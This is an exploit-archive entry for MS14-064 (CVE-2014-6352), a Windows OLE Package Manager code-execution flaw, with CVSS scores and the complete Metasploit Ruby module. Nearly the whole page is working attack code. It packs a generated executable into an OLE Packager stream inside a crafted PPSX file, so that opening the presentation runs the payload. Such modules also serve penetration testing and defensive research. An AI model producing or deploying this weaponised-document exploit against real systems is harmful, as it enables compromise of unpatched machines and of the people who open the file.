Microsoft Windows OLE Package Manager Code Execution

2014.11.14
Credit: Juan vazquez
Risk: High
Local: Yes
Remote: No
CWE: CWE-94


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution", 'Description' => %q{ This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, publicly exploited in the wild as MS14-060 patch bypass. The Microsoft update tried to fix the vulnerability publicly known as "Sandworm". Platforms such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. However, based on our testing, the most reliable setup is on Windows platforms running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to a failure in the CPackage::CreateTempFileName function. }, 'License' => MSF_LICENSE, 'Author' => [ 'Haifei Li', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-6352'], ['MSB', 'MS14-064'], ['BID', '70690'], ['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-sandworm-zero-day-even-editing-dangerous'] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}], ], 'Privileged' => false, 'DisclosureDate' => "Oct 21 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) ], self.class) end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") ole_stream = ole_packager zip = zip_ppsx(ole_stream) file_create(zip) end def zip_ppsx(ole_stream) zip_data = {} data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-6352', 'template_run_as_admin') Dir["#{data_dir}/**/**"].each do |file| unless File.directory?(file) zip_data[file.sub(data_dir,'')] = File.read(file) end end # add the otherwise skipped "hidden" file file = "#{data_dir}/_rels/.rels" zip_data[file.sub(data_dir,'')] = File.read(file) # put our own OLE streams zip_data['/ppt/embeddings/oleObject1.bin'] = ole_stream # create the ppsx ppsx = Rex::Zip::Archive.new zip_data.each_pair do |k,v| ppsx.add_file(k,v) end ppsx.pack end def ole_packager payload_name = "#{rand_text_alpha(4)}.exe" file_info = [2].pack('v') file_info << "#{payload_name}\x00" file_info << "#{payload_name}\x00" file_info << "\x00\x00" extract_info = [3].pack('v') extract_info << [payload_name.length + 1].pack('V') extract_info << "#{payload_name}\x00" p = generate_payload_exe file = [p.length].pack('V') file << p append_info = [payload_name.length].pack('V') append_info << Rex::Text.to_unicode(payload_name) append_info << [payload_name.length].pack('V') append_info << Rex::Text.to_unicode(payload_name) append_info << [payload_name.length].pack('V') append_info << Rex::Text.to_unicode(payload_name) ole_data = file_info + extract_info + file + append_info ole_contents = [ole_data.length].pack('V') + ole_data ole = create_ole("\x01OLE10Native", ole_contents) ole end def create_ole(stream_name, data) ole_tmp = Rex::Quickfile.new('ole') stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) stm = stg.create_stream(stream_name) stm << data stm.close directory = stg.instance_variable_get(:@directory) directory.each_entry do |entry| if entry.instance_variable_get(:@_ab) == 'Root Entry' # 0003000C-0000-0000-c000-000000000046 # Packager clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") entry.instance_variable_set(:@_clsId, clsid) end end # write to disk stg.close ole_contents = File.read(ole_tmp.path) ole_tmp.close ole_tmp.unlink ole_contents end end

References:

http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-sandworm-zero-day-even-editing-dangerous


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